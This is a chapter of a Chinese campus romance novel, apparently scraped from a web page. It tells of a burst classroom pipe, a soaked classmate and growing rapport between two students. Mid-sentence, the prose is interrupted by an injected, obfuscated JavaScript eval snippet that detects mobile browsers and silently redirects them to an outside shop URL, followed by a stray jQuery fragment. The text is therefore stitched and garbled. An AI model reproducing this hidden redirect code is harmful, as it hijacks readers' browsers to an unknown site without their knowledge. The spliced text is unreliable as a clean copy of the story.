周四下午第二节课,教室里闷得发慌。
刚下过一场暴雨,外面的天还阴着,空气里全是潮湿的感觉。
教室天花板上的吊扇转得有气无力,像随时会停。
大家都在埋头抄笔记,笔尖沙沙地响,衬得走廊上偶尔经过的脚步声特别清楚。
应妙正把数学笔记往本子上补,忽然听见后排周让“咦”了一声。
“什么声音?”
应妙停了笔。确实有声音。
很轻的“嘶嘶”声,像有什么东西在往外冒。
她回过头,发现声音是从教室后门附近的墙角传来的。
那面墙上嵌着一小截裸露的水管,管壁已经有些生锈了。此时,几道细小的水线正从水管接缝处往外喷,水珠顺着墙往下淌。
周让第一个站起来:“我靠,水管漏了?”
他话音刚落,水管像听见似的,“砰”地一声,接缝处直接炸开了。
水猛地喷出来,白花花的水柱斜着冲向教室,哗啦一下浇在前排一个男生的课桌上。
那男生本来还在写作业,被淋了个正着,整个人弹起来:“我操!”
教室里瞬间炸开了锅。
“水管炸了!水管炸了!”
“快把书拿开!”
“谁去关阀门啊!”
水越喷越大,像开了闸。
地面很快积了一层水,从后门往前门蔓延。同学们慌成一团,有人搬书,有人拖桌子,有人举着外套挡水。
应妙反应还算快,先把桌上的数学笔记塞进书包,又把谢知野忘在桌角的英语课本抓过来,抱在怀里。
谢知野正弯腰帮她提书包,被水溅了一裤腿。
“谁去喊老师啊——”有人喊。
苏念离后门近,被喷了一脸水,边擦边往门口跑。
他踩着水,刚拉开门,就和从外面回来的陈屿撞了个正着。
陈屿手里拿着一沓刚领的资料,还没看清怎么回事,就被苏念往后推了一把:“别进来!后边水漫了!”
但已经来不及了。
水管又猛地喷出一大股水,正好冲到天花板上,水花四溅。
教室里几个男生拿着拖布想把水往门口赶,拖布在水里一推,水浪直直朝门边涌去。
陈屿正要进来,一脚踩进门。谢知野刚好又喊了声:“让开啊——”
水浪像商量好了似的,“哗”地一声,从门里冲出去。
陈屿站在门口,被那股混着粉笔灰的水浪从头浇到脚。
她整个人愣在原地,手里的表格全湿透了,头发软塌塌地贴在额头上,水顺着脸往下滴,白衬衫贴在身上,像从河里捞上来的。
教室里有一瞬间的安静。
然后不知道是谁先笑了一声。接着全班都笑了。
谢知野笑得最大声,差点没站稳,一屁股坐在水里。
周让举着拖布,笑得整个人靠在墙上。应妙笑得蹲在地上,怀里的书都差点掉了。
陈屿站在那儿,慢慢抹了一把脸上的水,看了看手里的表格,又看了看里面笑成一片的人。
“你们……先关水阀。”他说。
他的声音居然还挺平静,只是说一个字,嘴里就喷出一点水。
大家笑得更凶了。
后来总务处的人终于来了,关了阀门。水停了,教室像刚发过一场水灾。
地上积了厚厚一层水,课本、卷子、塑料袋飘得到处都是。
全班同学拿着拖布、扫帚、脸盆抢救,拖地声、水声、喊声混成一片。
陈屿不知道从哪儿找了条干毛巾,站在走廊上擦脸。他衣服还在滴水,脚边已经积了一小滩。谢知野凑过去,递了包纸巾,语气难得地有点愧疚:“那什么,你别感冒啊。”
陈屿接过纸巾,看了他一眼:“你们拖水的时候,就不能先看看门口有没有人吗?”
“我真没注意你正好回来。”谢知野说,“你那叫天降甘霖。”
班长白了他一眼:“滚。”
应妙正端着个小盆往外舀水,经过他们身边,笑得手都抖。
她回头看了一眼教室里的狼藉,心想:这一学期没被学习累死,倒先被这些破事笑死了。
江绝叙从教室里出来,校服袖口湿了半截,脸上也溅了点水。
应妙看见他,忍不住说:“你刚才在哪呢?怎么没见你抢救课本?”
“我在帮你把椅子搬起来。”江绝叙说,“你桌子被泡了半截,腿不垫起来,晚自习坐水里。”
应妙一愣:“我桌子被泡了?”
“就在后门口,你说呢。”江绝叙边说边把湿袖子往上卷,“去把你的书搬到我桌上,别在你自己那儿待着了。”
应妙“哦”了一声,乖乖转身去搬书。经过班长身边时,又没忍住笑了一声。
班长擦着头发,面无表情:“还笑。”
“不是笑你。”应妙抿着嘴,“就觉得你头发贴头的样子很别致。”
陈屿吐出一个字:“滚。”
最后这场闹剧在班主任踏进班里好长时间才停下来。
*
应妙最近发现,她和江绝叙说话的次数变多了。
起初是水管事件后的那个晚自习。
她桌子被泡得厉害,椅子腿下垫了两层纸板,还是有点晃。
谢知野从外面借了个旧拖把回来,把周围的水又拖了一遍,嘴里念叨着“陈屿今天真惨,我感觉他那资料能拧出水来”。
应妙没搭话,忙着把湿了半截的物理卷子往窗台上铺。
正蹲着,一只手从旁边伸过来,把她卷子边角轻轻按住。
她抬头,是江绝叙。
“你风不吹,一会儿就粘在窗户上了。”他说,拿了两支笔把卷子压好,又顺手把她桌角没湿的一摞书搬到过道那边的空桌上。
“谢了。”应妙站起来,拍了拍膝盖上的灰。
“你今晚写什么?”江绝叙问。
“数学吧。”应妙说,“前两张卷子没带,也不知道放哪了。”
“你放我这儿了。”江绝叙说完,很自然地拿出两张数学卷子,递给她,“上回你问我题,顺手放我这儿的,后来忘了拿走。”
应妙接过来,上面还夹着一片他常用来当书签的银杏叶。
“你把我卷子留到现在?”她有点意外。
“留着又不会生利息。”江绝叙说,“今天正好还你。”
谢知野在旁边看了半天,酸溜溜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17868805|212081||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
地来了一句:“江哥,你对我也这么上心就好了。”
“你什么时候能把东西放我这儿超过一天,再说。”江绝叙头都没回。
应妙弯了弯嘴角,把卷子收进书包里。
从那以后,两人好像养成了一种很轻的默契。
课间,谢知野趴在桌上补觉。
应妙有时候想喝水,一摸水杯,发现自己忘带了。
她往斜前方看一眼,江绝叙已经把一瓶矿泉水往她那边推了推。
应妙还没反应过来,江绝叙说“里面是新的,没喝过”。
“你下毒了?”
“你才下毒了。”
“真假的?你人这么好?”
“我本来就好。”
她接过去,拧开瓶盖,喝了口水。
有时候江绝叙收作业,经过应妙旁边,会停下来敲敲她的桌沿:“你化学卷子还差一道题没写,老师说下课前交。”
应妙“啊”一声,手忙脚乱地找卷子。
江绝叙也不催,就站在旁边,顺手帮她把堆在桌角的书摆正。
等应妙把最后一道题匆匆写完递给他,他才拿着卷子走开。
谢知野醒过来,看见自己桌上多了一瓶没开过的水,问应妙:“你给的?”
“不是。”应妙说,“江绝叙放的,说让你醒了别用这个浇头。”
谢知野:“他到底什么时候来的?”
应妙耸耸肩,低头继续写题。
周四那节体育课,因为上次水管事件,教室后门那面墙还在修,总务处说不能从那边过。
大家下楼就绕了远路。
应妙和江怀一走到二楼平台,发现谢知野和几个男生在后面闹,推推搡搡的。
江绝叙走在最前面,回头看了一眼,就放慢了步子。
等应妙经过他身边,他才说:“你鞋带散了。”
应妙低头。果然。
她把脚往旁边一抬,踩在台阶上系。
江绝叙就站在旁边等她系完,就等着,也不催。
应妙倒是觉得挺暖心的。
“你——”她抬头看他,他正好低头。
应妙有些不自在:“这么有情商啊。”
“本来就有。”
后面的谢知野刚追上来,正好看到这一幕,大声嚷嚷:“我靠,你还等她系鞋带,!”
“你鞋带又没散。”江绝叙说。
接着就被应妙一把拽起来:“你有病吧,快走,要迟到了。”
谢知野被拽得踉跄,还在喊:“江哥你偏心!”
江绝叙没理他,不紧不慢地继续下楼。
应妙走在他前面几步,耳根还红着。
她能感觉到他的视线落在自己后颈上,不重,像羽毛轻轻扫了一下,感觉还是和刚才一样浑身不自在。
那节体育课跑操,应妙有点心不在焉。
正跑着跑着,旁边江怀一轻轻碰她:“你鞋带又松了?”
应妙赶忙低头看了一眼。携带没有,还好好的系得紧着。
她抬头朝队伍前面看了一眼。江绝叙在男生排头,跑得轻松。
她收回视线,心里像被什么很轻地划了一下。
不疼,就是怪怪的感觉。